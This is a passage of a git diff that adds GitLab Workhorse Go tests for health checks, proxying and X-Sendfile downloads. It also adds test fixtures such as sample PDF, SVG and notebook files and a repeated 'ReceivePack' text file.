+ logEntryWithCode := logEntry.WithField("code", code)
+
+ if params != nil {
+ currentParams := r.URL.Query()
+ for key := range params {
+ if currentParams.Get(key) != params.Get(key) {
+ logEntry.Info("UPSTREAM", "DENY", "invalid auth server params")
+ w.WriteHeader(http.StatusForbidden)
+ return
+ }
+ }
+ }
+
+ // Write pure string
+ if data, ok := body.(string); ok {
+ logEntryWithCode.Info("UPSTREAM")
+
+ w.WriteHeader(code)
+ fmt.Fprint(w, data)
+ return
+ }
+
+ // Write json string
+ data, err := json.Marshal(body)
+ if err != nil {
+ logEntry.WithError(err).Error("UPSTREAM")
+
+ w.WriteHeader(503)
+ fmt.Fprint(w, err)
+ return
+ }
+
+ logEntryWithCode.Info("UPSTREAM")
+
+ w.WriteHeader(code)
+ w.Write(data)
+ })
+}
+
+func newUpstreamConfig(authBackend string) *config.Config {
+ return &config.Config{
+ Version: "123",
+ DocumentRoot: testDocumentRoot,
+ Backend: helper.URLMustParse(authBackend),
+ ImageResizerConfig: config.DefaultImageResizerConfig,
+ }
+}
+
+func startWorkhorseServer(authBackend string) *httptest.Server {
+ return startWorkhorseServerWithConfig(newUpstreamConfig(authBackend))
+}
+
+func startWorkhorseServerWithConfig(cfg *config.Config) *httptest.Server {
+ testhelper.ConfigureSecret()
+ u := upstream.NewUpstream(*cfg, logrus.StandardLogger())
+
+ return httptest.NewServer(u)
+}
+
+func runOrFail(t *testing.T, cmd *exec.Cmd) {
+ out, err := cmd.CombinedOutput()
+ t.Logf("%s", out)
+ require.NoError(t, err)
+}
+
+func gitOkBody(t *testing.T) *api.Response {
+ return &api.Response{
+ GL_ID: "user-123",
+ GL_USERNAME: "username",
+ Repository: gitalypb.Repository{
+ StorageName: "default",
+ RelativePath: "foo/bar.git",
+ },
+ }
+}
+
+func httpGet(t *testing.T, url string, headers map[string]string) (*http.Response, string) {
+ req, err := http.NewRequest("GET", url, nil)
+ require.NoError(t, err)
+
+ for k, v := range headers {
+ req.Header.Set(k, v)
+ }
+
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+ defer resp.Body.Close()
+
+ b, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+
+ return resp, string(b)
+}
+
+func httpPost(t *testing.T, url string, headers map[string]string, reqBody io.Reader) *http.Response {
+ req, err := http.NewRequest("POST", url, reqBody)
+ require.NoError(t, err)
+
+ for k, v := range headers {
+ req.Header.Set(k, v)
+ }
+
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+
+ return resp
+}
+
+func requireNginxResponseBuffering(t *testing.T, expected string, resp *http.Response, msgAndArgs ...interface{}) {
+ actual := resp.Header.Get(helper.NginxResponseBufferHeader)
+ require.Equal(t, expected, actual, msgAndArgs...)
+}
+
+// TestHealthChecksNoStaticHTML verifies that health endpoints pass errors through and don't return the static html error pages
+func TestHealthChecksNoStaticHTML(t *testing.T) {
+ apiResponse := "API RESPONSE"
+ errorPageBody := `<html>
+<body>
+This is a static error page for code 503
+</body>
+</html>
+`
+ require.NoError(t, setupStaticFile("503.html", errorPageBody))
+
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, _ *http.Request) {
+ w.Header().Set("X-Gitlab-Custom-Error", "1")
+ w.WriteHeader(503)
+ _, err := w.Write([]byte(apiResponse))
+ require.NoError(t, err)
+ })
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ for _, resource := range []string{
+ "/-/health",
+ "/-/readiness",
+ "/-/liveness",
+ } {
+ t.Run(resource, func(t *testing.T) {
+ resp, body := httpGet(t, ws.URL+resource, nil)
+
+ require.Equal(t, 503, resp.StatusCode, "status code")
+ require.Equal(t, apiResponse, body, "response body")
+ requireNginxResponseBuffering(t, "", resp, "nginx response buffering")
+ })
+ }
+}
+
+// TestHealthChecksUnreachable verifies that health endpoints return the correct content-type when the upstream is down
+func TestHealthChecksUnreachable(t *testing.T) {
+ ws := startWorkhorseServer("http://127.0.0.1:99999") // This url should point to nothing for the test to be accurate (equivalent to upstream being down)
+ defer ws.Close()
+
+ testCases := []struct {
+ path string
+ content string
+ responseType string
+ }{
+ {path: "/-/health", content: "Bad Gateway\n", responseType: "text/plain; charset=utf-8"},
+ {path: "/-/readiness", content: "{\"error\":\"Bad Gateway\",\"status\":502}\n", responseType: "application/json; charset=utf-8"},
+ {path: "/-/liveness", content: "{\"error\":\"Bad Gateway\",\"status\":502}\n", responseType: "application/json; charset=utf-8"},
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.path, func(t *testing.T) {
+ resp, body := httpGet(t, ws.URL+tc.path, nil)
+
+ require.Equal(t, 502, resp.StatusCode, "status code")
+ require.Equal(t, tc.responseType, resp.Header.Get("Content-Type"), "content-type")
+ require.Equal(t, tc.content, body, "response body")
+ requireNginxResponseBuffering(t, "", resp, "nginx response buffering")
+ })
+ }
+}
diff --git a/workhorse/proxy_test.go b/workhorse/proxy_test.go
new file mode 100644
index 00000000000..b5a7c9c6abf
--- /dev/null
+++ b/workhorse/proxy_test.go
@@ -0,0 +1,117 @@
+package main
+
+import (
+ "bytes"
+ "fmt"
+ "io/ioutil"
+ "net"
+ "net/http"
+ "net/http/httptest"
+ "regexp"
+ "testing"
+ "time"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/badgateway"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/proxy"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream/roundtripper"
+
+ "github.com/stretchr/testify/require"
+)
+
+const testVersion = "123"
+
+func newProxy(url string, rt http.RoundTripper) *proxy.Proxy {
+ parsedURL := helper.URLMustParse(url)
+ if rt == nil {
+ rt = roundtripper.NewTestBackendRoundTripper(parsedURL)
+ }
+ return proxy.NewProxy(parsedURL, testVersion, rt)
+}
+
+func TestProxyRequest(t *testing.T) {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`/url/path\z`), func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "POST", r.Method, "method")
+ require.Equal(t, "test", r.Header.Get("Custom-Header"), "custom header")
+ require.Equal(t, testVersion, r.Header.Get("Gitlab-Workhorse"), "version header")
+
+ require.Regexp(
+ t,
+ regexp.MustCompile(`\A1`),
+ r.Header.Get("Gitlab-Workhorse-Proxy-Start"),
+ "expect Gitlab-Workhorse-Proxy-Start to start with 1",
+ )
+
+ body, err := ioutil.ReadAll(r.Body)
+ require.NoError(t, err, "read body")
+ require.Equal(t, "REQUEST", string(body), "body contents")
+
+ w.Header().Set("Custom-Response-Header", "test")
+ w.WriteHeader(202)
+ fmt.Fprint(w, "RESPONSE")
+ })
+
+ httpRequest, err := http.NewRequest("POST", ts.URL+"/url/path", bytes.NewBufferString("REQUEST"))
+ require.NoError(t, err)
+ httpRequest.Header.Set("Custom-Header", "test")
+
+ w := httptest.NewRecorder()
+ newProxy(ts.URL, nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 202, w.Code)
+ testhelper.RequireResponseBody(t, w, "RESPONSE")
+
+ require.Equal(t, "test", w.Header().Get("Custom-Response-Header"), "custom response header")
+}
+
+func TestProxyError(t *testing.T) {
+ httpRequest, err := http.NewRequest("POST", "/url/path", bytes.NewBufferString("REQUEST"))
+ require.NoError(t, err)
+ httpRequest.Header.Set("Custom-Header", "test")
+
+ w := httptest.NewRecorder()
+ newProxy("http://localhost:655575/", nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 502, w.Code)
+ require.Regexp(t, regexp.MustCompile("dial tcp:.*invalid port.*"), w.Body.String(), "response body")
+}
+
+func TestProxyReadTimeout(t *testing.T) {
+ ts := testhelper.TestServerWithHandler(nil, func(w http.ResponseWriter, r *http.Request) {
+ time.Sleep(time.Minute)
+ })
+
+ httpRequest, err := http.NewRequest("POST", "http://localhost/url/path", nil)
+ require.NoError(t, err)
+
+ rt := badgateway.NewRoundTripper(false, &http.Transport{
+ Proxy: http.ProxyFromEnvironment,
+ Dial: (&net.Dialer{
+ Timeout: 30 * time.Second,
+ KeepAlive: 30 * time.Second,
+ }).Dial,
+ TLSHandshakeTimeout: 10 * time.Second,
+ ResponseHeaderTimeout: time.Millisecond,
+ })
+
+ p := newProxy(ts.URL, rt)
+ w := httptest.NewRecorder()
+ p.ServeHTTP(w, httpRequest)
+ require.Equal(t, 502, w.Code)
+ testhelper.RequireResponseBody(t, w, "GitLab is not responding")
+}
+
+func TestProxyHandlerTimeout(t *testing.T) {
+ ts := testhelper.TestServerWithHandler(nil,
+ http.TimeoutHandler(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ time.Sleep(time.Second)
+ }), time.Millisecond, "Request took too long").ServeHTTP,
+ )
+
+ httpRequest, err := http.NewRequest("POST", "http://localhost/url/path", nil)
+ require.NoError(t, err)
+
+ w := httptest.NewRecorder()
+ newProxy(ts.URL, nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 503, w.Code)
+ testhelper.RequireResponseBody(t, w, "Request took too long")
+}
diff --git a/workhorse/raven.go b/workhorse/raven.go
new file mode 100644
index 00000000000..f641203f142
--- /dev/null
+++ b/workhorse/raven.go
@@ -0,0 +1,40 @@
+package main
+
+import (
+ "net/http"
+ "os"
+
+ raven "github.com/getsentry/raven-go"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+func wrapRaven(h http.Handler) http.Handler {
+ // Use a custom environment variable (not SENTRY_DSN) to prevent
+ // clashes with gitlab-rails.
+ sentryDSN := os.Getenv("GITLAB_WORKHORSE_SENTRY_DSN")
+ sentryEnvironment := os.Getenv("GITLAB_WORKHORSE_SENTRY_ENVIRONMENT")
+ raven.SetDSN(sentryDSN) // sentryDSN may be empty
+
+ if sentryEnvironment != "" {
+ raven.SetEnvironment(sentryEnvironment)
+ }
+
+ if sentryDSN == "" {
+ return h
+ }
+
+ raven.DefaultClient.SetRelease(Version)
+
+ return http.HandlerFunc(raven.RecoveryHandler(
+ func(w http.ResponseWriter, r *http.Request) {
+ defer func() {
+ if p := recover(); p != nil {
+ helper.CleanHeadersForRaven(r)
+ panic(p)
+ }
+ }()
+
+ h.ServeHTTP(w, r)
+ }))
+}
diff --git a/workhorse/sendfile_test.go b/workhorse/sendfile_test.go
new file mode 100644
index 00000000000..2408f4fde38
--- /dev/null
+++ b/workhorse/sendfile_test.go
@@ -0,0 +1,103 @@
+package main
+
+import (
+ "fmt"
+ "io/ioutil"
+ "mime"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+ "gitlab.com/gitlab-org/labkit/log"
+)
+
+func TestDeniedLfsDownload(t *testing.T) {
+ contentFilename := "b68143e6463773b1b6c6fd009a76c32aeec041faff32ba2ed42fd7f708a17f80"
+ url := fmt.Sprintf("gitlab-lfs/objects/%s", contentFilename)
+
+ prepareDownloadDir(t)
+ deniedXSendfileDownload(t, contentFilename, url)
+}
+
+func TestAllowedLfsDownload(t *testing.T) {
+ contentFilename := "b68143e6463773b1b6c6fd009a76c32aeec041faff32ba2ed42fd7f708a17f80"
+ url := fmt.Sprintf("gitlab-lfs/objects/%s", contentFilename)
+
+ prepareDownloadDir(t)
+ allowedXSendfileDownload(t, contentFilename, url)
+}
+
+func allowedXSendfileDownload(t *testing.T, contentFilename string, filePath string) {
+ contentPath := path.Join(cacheDir, contentFilename)
+ prepareDownloadDir(t)
+
+ // Prepare test server and backend
+ ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ log.WithFields(log.Fields{"method": r.Method, "url": r.URL}).Info("UPSTREAM")
+
+ require.Equal(t, "X-Sendfile", r.Header.Get("X-Sendfile-Type"))
+
+ w.Header().Set("X-Sendfile", contentPath)
+ w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, contentFilename))
+ w.Header().Set("Content-Type", "application/octet-stream")
+ w.WriteHeader(200)
+ }))
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ require.NoError(t, os.MkdirAll(cacheDir, 0755))
+ contentBytes := []byte("content")
+ require.NoError(t, ioutil.WriteFile(contentPath, contentBytes, 0644))
+
+ resp, err := http.Get(fmt.Sprintf("%s/%s", ws.URL, filePath))
+ require.NoError(t, err)
+
+ requireAttachmentName(t, resp, contentFilename)
+
+ actual, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+ require.NoError(t, resp.Body.Close())
+
+ require.Equal(t, actual, contentBytes, "response body")
+}
+
+func deniedXSendfileDownload(t *testing.T, contentFilename string, filePath string) {
+ prepareDownloadDir(t)
+
+ // Prepare test server and backend
+ ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ log.WithFields(log.Fields{"method": r.Method, "url": r.URL}).Info("UPSTREAM")
+
+ require.Equal(t, "X-Sendfile", r.Header.Get("X-Sendfile-Type"))
+
+ w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, contentFilename))
+ w.WriteHeader(200)
+ fmt.Fprint(w, "Denied")
+ }))
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resp, err := http.Get(fmt.Sprintf("%s/%s", ws.URL, filePath))
+ require.NoError(t, err)
+
+ requireAttachmentName(t, resp, contentFilename)
+
+ actual, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err, "read body")
+ require.NoError(t, resp.Body.Close())
+
+ require.Equal(t, []byte("Denied"), actual, "response body")
+}
+
+func requireAttachmentName(t *testing.T, resp *http.Response, filename string) {
+ mediaType, params, err := mime.ParseMediaType(resp.Header.Get("Content-Disposition"))
+ require.NoError(t, err)
+
+ require.Equal(t, "attachment", mediaType)
+ require.Equal(t, filename, params["filename"], "filename")
+}
diff --git a/workhorse/testdata/.gitkeep b/workhorse/testdata/.gitkeep
new file mode 100644
index 00000000000..e69de29bb2d
--- /dev/null
+++ b/workhorse/testdata/.gitkeep
diff --git a/workhorse/testdata/artifacts-archive.zip b/workhorse/testdata/artifacts-archive.zip
new file mode 100644
index 00000000000..d5bd57a9f48
--- /dev/null
+++ b/workhorse/testdata/artifacts-archive.zip
Binary files differ
diff --git a/workhorse/testdata/audio.mp3 b/workhorse/testdata/audio.mp3
new file mode 100644
index 00000000000..4dfd0123fab
--- /dev/null
+++ b/workhorse/testdata/audio.mp3
Binary files differ
diff --git a/workhorse/testdata/file-ä.pdf b/workhorse/testdata/file-ä.pdf
new file mode 100644
index 00000000000..81ea09d7d12
--- /dev/null
+++ b/workhorse/testdata/file-ä.pdf
@@ -0,0 +1,13 @@
+%PDF-1.3
+%�����������
+4 0 obj
+<< /Length 5 0 R /Filter /FlateDecode >>
+stream
+xe���0 ��>�@���
+ba�d�1U�V��_8��n�e}�� fXU�`\F�d2�����S%,�Q]�;XC�9�+Qy���k>a2>31B4�;���d)!Md�M�-�B��F���N�[v��~��E�5���^�Z_�� ΢�o�l.�
+endstream
+endobj
+5 0 obj
+155
+endobj
+2 0 obj
diff --git a/workhorse/testdata/file.bmpr b/workhorse/testdata/file.bmpr
new file mode 100644
index 00000000000..13c84447654
--- /dev/null
+++ b/workhorse/testdata/file.bmpr
Binary files differ
diff --git a/workhorse/testdata/file.ipynb b/workhorse/testdata/file.ipynb
new file mode 100644
index 00000000000..a66724b721e
--- /dev/null
+++ b/workhorse/testdata/file.ipynb
@@ -0,0 +1,38 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": 1,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "import json\n",
+ "import os.path\n",
+ "import time\n",
+ "import logging\n",
+ "import datetime\n",
+ ]
+ }
+ ],
+ "metadata": {
+ "kernelspec": {
+ "display_name": "Python 3",
+ "language": "python",
+ "name": "python3"
+ },
+ "language_info": {
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "file_extension": ".py",
+ "mimetype": "text/x-python",
+ "name": "python",
+ "nbconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": "3.6.3"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 1
+}
diff --git a/workhorse/testdata/file.pdf b/workhorse/testdata/file.pdf
new file mode 100644
index 00000000000..81ea09d7d12
--- /dev/null
+++ b/workhorse/testdata/file.pdf
@@ -0,0 +1,13 @@
+%PDF-1.3
+%�����������
+4 0 obj
+<< /Length 5 0 R /Filter /FlateDecode >>
+stream
+xe���0 ��>�@���
+ba�d�1U�V��_8��n�e}�� fXU�`\F�d2�����S%,�Q]�;XC�9�+Qy���k>a2>31B4�;���d)!Md�M�-�B��F���N�[v��~��E�5���^�Z_�� ΢�o�l.�
+endstream
+endobj
+5 0 obj
+155
+endobj
+2 0 obj
diff --git a/workhorse/testdata/file.rdoc b/workhorse/testdata/file.rdoc
new file mode 100644
index 00000000000..17eadf15f12
--- /dev/null
+++ b/workhorse/testdata/file.rdoc
@@ -0,0 +1,7 @@
+= Title1
+
+Example
+
+= Title2
+
+Example
diff --git a/workhorse/testdata/file.sketch b/workhorse/testdata/file.sketch
new file mode 100644
index 00000000000..bcabd89ae5e
--- /dev/null
+++ b/workhorse/testdata/file.sketch
Binary files differ
diff --git a/workhorse/testdata/file.stl b/workhorse/testdata/file.stl
new file mode 100644
index 00000000000..187df107176
--- /dev/null
+++ b/workhorse/testdata/file.stl
Binary files differ
diff --git a/workhorse/testdata/file.swf b/workhorse/testdata/file.swf
new file mode 100644
index 00000000000..6f959e5c2bf
--- /dev/null
+++ b/workhorse/testdata/file.swf
Binary files differ
diff --git a/workhorse/testdata/forgedfile.png b/workhorse/testdata/forgedfile.png
new file mode 100644
index 00000000000..6f959e5c2bf
--- /dev/null
+++ b/workhorse/testdata/forgedfile.png
Binary files differ
diff --git a/workhorse/testdata/image.jpg b/workhorse/testdata/image.jpg
new file mode 100644
index 00000000000..f0df472663e
--- /dev/null
+++ b/workhorse/testdata/image.jpg
Binary files differ
diff --git a/workhorse/testdata/image.png b/workhorse/testdata/image.png
new file mode 100644
index 00000000000..a103b4e06fd
--- /dev/null
+++ b/workhorse/testdata/image.png
Binary files differ
diff --git a/workhorse/testdata/image.svg b/workhorse/testdata/image.svg
new file mode 100644
index 00000000000..3706fdb7fde
--- /dev/null
+++ b/workhorse/testdata/image.svg
@@ -0,0 +1,64 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 330 82">
+ <title>SVG logo combined with the W3C logo, set horizontally</title>
+ <desc>The logo combines three entities displayed horizontally: the W3C logo with the text 'W3C'; the drawing of a flower or star shape with eight arms; and the text 'SVG'. These three entities are set horizontally.</desc>
+
+ <metadata>
+ <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rdfs="http://www.w3.org/2000/01/rdf-schema#" xmlns:cc="http://creativecommons.org/ns#" xmlns:xhtml="http://www.w3.org/1999/xhtml/vocab#" xmlns:dc="http://purl.org/dc/elements/1.1/">
+ <cc:Work rdf:about="">
+ <dc:title>SVG logo combined with the W3C logo</dc:title>
+ <dc:format>image/svg+xml</dc:format>
+ <rdfs:seeAlso rdf:resource="http://www.w3.org/2007/10/sw-logos.html"/>
+ <dc:date>2007-11-01</dc:date>
+ <xhtml:license rdf:resource="http://www.w3.org/Consortium/Legal/2002/copyright-documents-20021231"/>
+ <cc:morePermissions rdf:resource="http://www.w3.org/2007/10/sw-logos.html#LogoWithW3C"/>
+ <cc:attributionURL rdf:reource="http://www.w3.org/2001/sw/"/>
+ <dc:description>The logo combines three entities displayed horizontally: the W3C logo with the text 'W3C'; the drawing of a flower or star shape with eight arms; and the text 'SVG'. These three entities are set horizontally.
+ </dc:description>
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+
+ <text x="0" y="75" font-size="83" fill-opacity="0" font-family="Trebuchet" letter-spacing="-12">W3C</text>
+ <text x="180" y="75" font-size="83" fill-opacity="0" font-family="Trebuchet" font-weight="bold">SVG</text>
+ <defs>
+ <g id="SVG" fill="#005A9C">
+ <path id="S" d="M 5.482,31.319 C2.163,28.001 0.109,23.419 0.109,18.358 C0.109,8.232 8.322,0.024 18.443,0.024 C28.569,0.024 36.782,8.232 36.782,18.358 L26.042,18.358 C26.042,14.164 22.638,10.765 18.443,10.765 C14.249,10.765 10.850,14.164 10.850,18.358 C10.850,20.453 11.701,22.351 13.070,23.721 L13.075,23.721 C14.450,25.101 15.595,25.500 18.443,25.952 L18.443,25.952 C23.509,26.479 28.091,28.006 31.409,31.324 L31.409,31.324 C34.728,34.643 36.782,39.225 36.782,44.286 C36.782,54.412 28.569,62.625 18.443,62.625 C8.322,62.625 0.109,54.412 0.109,44.286 L10.850,44.286 C10.850,48.480 14.249,51.884 18.443,51.884 C22.638,51.884 26.042,48.480 26.042,44.286 C26.042,42.191 25.191,40.298 23.821,38.923 L23.816,38.923 C22.441,37.548 20.468,37.074 18.443,36.697 L18.443,36.692 C13.533,35.939 8.800,34.638 5.482,31.319 L5.482,31.319 L5.482,31.319 Z"/>
+ <path id="V" d="M 73.452,0.024 L60.482,62.625 L49.742,62.625 L36.782,0.024 L47.522,0.024 L55.122,36.687 L62.712,0.024 L73.452,0.024 Z"/>
+ <path id="G" d="M 91.792,25.952 L110.126,25.952 L110.126,44.286 L110.131,44.286 C110.131,54.413 101.918,62.626 91.792,62.626 C81.665,62.626 73.458,54.413 73.458,44.286 L73.458,44.286 L73.458,18.359 L73.453,18.359 C73.453,8.233 81.665,0.025 91.792,0.025 C101.913,0.025 110.126,8.233 110.126,18.359 L99.385,18.359 C99.385,14.169 95.981,10.765 91.792,10.765 C87.597,10.765 84.198,14.169 84.198,18.359 L84.198,44.286 L84.198,44.286 C84.198,48.481 87.597,51.880 91.792,51.880 C95.981,51.880 99.380,48.481 99.385,44.291 L99.385,44.286 L99.385,36.698 L91.792,36.698 L91.792,25.952 L91.792,25.952 Z"/>
+ </g>
+ </defs>
+ <g shape-rendering="geometricPrecision" text-rendering="geometricPrecision" image-rendering="optimizeQuality">
+ <g>
+ <g id="w3c-logo">
+ <g>
+ <title>W3</title>
+ <path d="M33.695,10.802l12.062,41.016l12.067-41.016h8.731L46.587,78.188h-0.831l-12.48-41.759L20.797,78.188 h-0.832L0,10.802h8.736l12.061,41.016l8.154-27.618l-3.993-13.397H33.695z" fill="#005A9C"/>
+ <path d="M91.355,56.557c0,6.104-1.624,11.234-4.862,15.394c-3.248,4.158-7.45,6.237-12.607,6.237 c-3.882,0-7.263-1.238-10.148-3.702c-2.885-2.47-5.02-5.812-6.406-10.022l6.82-2.829c1.001,2.552,2.317,4.562,3.953,6.028 c1.636,1.469,3.56,2.207,5.781,2.207c2.329,0,4.3-1.306,5.909-3.911c1.609-2.606,2.411-5.738,2.411-9.401 c0-4.049-0.861-7.179-2.582-9.399c-1.995-2.604-5.129-3.912-9.397-3.912h-3.327v-3.991l11.646-20.133H64.484l-3.911,6.655h-2.493 V10.802h32.441v4.075l-12.31,21.217c4.324,1.385,7.596,3.911,9.815,7.571C90.246,47.324,91.355,51.618,91.355,56.557z" fill="#005A9C"/>
+ </g>
+ <g>
+ <title>C</title>
+ <path d="M125.211,10.425l1.414,8.6l-5.008,9.583c0,0-1.924-4.064-5.117-6.314 c-2.693-1.899-4.447-2.309-7.186-1.746c-3.527,0.73-7.516,4.938-9.258,10.13c-2.084,6.21-2.104,9.218-2.178,11.978 c-0.115,4.428,0.58,7.043,0.58,7.043s-3.04-5.626-3.011-13.866c0.018-5.882,0.947-11.218,3.666-16.479 c2.396-4.627,5.95-7.404,9.109-7.728c3.264-0.343,5.848,1.229,7.841,2.938c2.089,1.788,4.213,5.698,4.213,5.698L125.211,10.425z" fill="#221B0A"/>
+ <path d="M125.823,59.099c0,0-2.208,3.957-3.589,5.48c-1.379,1.524-3.849,4.209-6.896,5.555 c-3.049,1.343-4.646,1.598-7.661,1.306c-3.01-0.29-5.807-2.032-6.786-2.764c-0.979-0.722-3.486-2.864-4.897-4.854 c-1.42-2-3.634-5.995-3.634-5.995s1.233,4.001,2.007,5.699c0.442,0.977,1.81,3.965,3.749,6.572 c1.805,2.425,5.315,6.604,10.652,7.545c5.336,0.945,9.002-1.449,9.907-2.031c0.907-0.578,2.819-2.178,4.032-3.475 c1.264-1.351,2.459-3.079,3.116-4.108c0.487-0.758,1.276-2.286,1.276-2.286L125.823,59.099z" fill="#221B0A"/>
+ </g>
+ <g>
+ <title>Registered Trademark</title>
+ <path d="M132.592,5.201c2.493,0,4.485,2.032,4.485,4.525c0,2.533-1.992,4.543-4.505,4.543 c-2.491,0-4.524-2.01-4.524-4.543c0-2.493,2.033-4.525,4.524-4.525H132.592z M132.554,6.107c-1.889,0-3.417,1.629-3.417,3.639 c0,2.029,1.528,3.619,3.436,3.619c1.912,0.019,3.46-1.59,3.46-3.619c0-2.01-1.548-3.639-3.46-3.639H132.554z M131.791,12.361 h-1.067V7.332c0.401-0.058,0.846-0.141,1.61-0.141c0.862,0,1.387,0.141,1.726,0.404c0.28,0.221,0.445,0.563,0.445,1.085 c0,0.603-0.423,1.024-0.966,1.166v0.042c0.441,0.078,0.724,0.479,0.801,1.226c0.103,0.783,0.203,1.085,0.284,1.247h-1.104 c-0.123-0.183-0.203-0.625-0.305-1.31c-0.077-0.542-0.4-0.763-0.942-0.763h-0.481V12.361z M131.791,9.463h0.5 c0.624,0,1.105-0.199,1.105-0.723c0-0.421-0.301-0.744-1.025-0.744c-0.261,0-0.441,0-0.58,0.021V9.463z" fill="#221B0A"/>
+ </g>
+ </g>
+ <g id="logo" transform="scale(0.24) translate(550, 35)">
+ <g stroke-width="38.0086" stroke="#000">
+ <g id="svgstar" transform="translate(150, 150)">
+ <path id="svgbar" fill="#EDA921" d="M-84.1487,-15.8513 a22.4171,22.4171 0 1 0 0,31.7026 h168.2974 a22.4171,22.4171 0 1 0 0,-31.7026 Z"/>
+ <use xlink:href="#svgbar" transform="rotate(45)"/>
+ <use xlink:href="#svgbar" transform="rotate(90)"/>
+ <use xlink:href="#svgbar" transform="rotate(135)"/>
+ </g>
+ </g>
+ <use xlink:href="#svgstar"/>
+ </g>
+ <g id="SVG-label">
+ <use xlink:href="#SVG" transform="scale(1.08) translate(195,10)"/>
+ </g>
+ </g>
+ </g>
+</svg>
diff --git a/workhorse/testdata/image_single_pixel.jpg b/workhorse/testdata/image_single_pixel.jpg
new file mode 100644
index 00000000000..1cda9a53dc3
--- /dev/null
+++ b/workhorse/testdata/image_single_pixel.jpg
Binary files differ
diff --git a/workhorse/testdata/lsif/invalid.lsif.zip b/workhorse/testdata/lsif/invalid.lsif.zip
new file mode 100644
index 00000000000..d04175e56ba
--- /dev/null
+++ b/workhorse/testdata/lsif/invalid.lsif.zip
Binary files differ
diff --git a/workhorse/testdata/lsif/valid.lsif.zip b/workhorse/testdata/lsif/valid.lsif.zip
new file mode 100644
index 00000000000..92547037798
--- /dev/null
+++ b/workhorse/testdata/lsif/valid.lsif.zip
Binary files differ
diff --git a/workhorse/testdata/receive-pack-fixture.txt b/workhorse/testdata/receive-pack-fixture.txt
new file mode 100644
index 00000000000..2fb3c0ca7f3
--- /dev/null
+++ b/workhorse/testdata/receive-pack-fixture.txt
@@ -0,0 +1,1025 @@
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
